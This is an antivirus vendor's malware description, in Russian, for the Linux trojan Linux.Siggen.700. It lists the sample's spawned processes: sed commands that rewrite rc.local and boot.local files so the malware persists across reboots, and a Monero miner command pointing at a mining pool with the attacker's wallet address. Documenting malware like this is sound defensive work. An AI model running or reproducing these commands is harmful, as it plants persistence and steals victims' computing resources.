Linux.Siggen.700

Linux.Siggen.700

Добавлен в вирусную базу Dr.Web: 2018-07-04

Описание добавлено: 2018-07-04

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Вредоносные функции:

Запускает себя в качестве демона

Запускает процессы:

sh -c sed -i -e '/exit/d' /etc/rc.local
sed -i -e /exit/d /etc/rc.local
sh -c sed -i -e '/
sed -i -e /
sh -c sed -i -e '/<SAMPLE> reboot/d' /etc/rc.local
sed -i -e /<SAMPLE> reboot/d /etc/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot' /etc/rc.local
sed -i -e 2 i//<SAMPLE> reboot /etc/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/rc.d/rc.local
sed -i -e 2 i//<SAMPLE> reboot start /etc/rc.d/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/init.d/boot.local
sed -i -e 2 i//<SAMPLE> reboot start /etc/init.d/boot.local
sh -c ./tmp/xxsdwak<SAMPLE> -B -o stratum+tcp://xmr.crypto-pool.fr:443 -u 45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT -p x -k
./tmp/xxsdwak<SAMPLE> -B -o stratum+tcp://xmr.crypto-pool.fr:443 -u 45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT -p x -k
sh -c ps -ef|grep xxsdwak<SAMPLE>
grep xxsdwak<SAMPLE>
ps -ef

Завершает следующие процессы:

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает или модифицирует файлы:

Удаляет файлы:

Сетевая активность:

Устанавливает соединение:

DNS ASK:

Посылает данные следующим серверам:

Получает данные от следующих серверов:

Прочее:

Собирает информацию о CPU

Собирает информацию об оперативной памяти

Собирает информацию о сетевой активности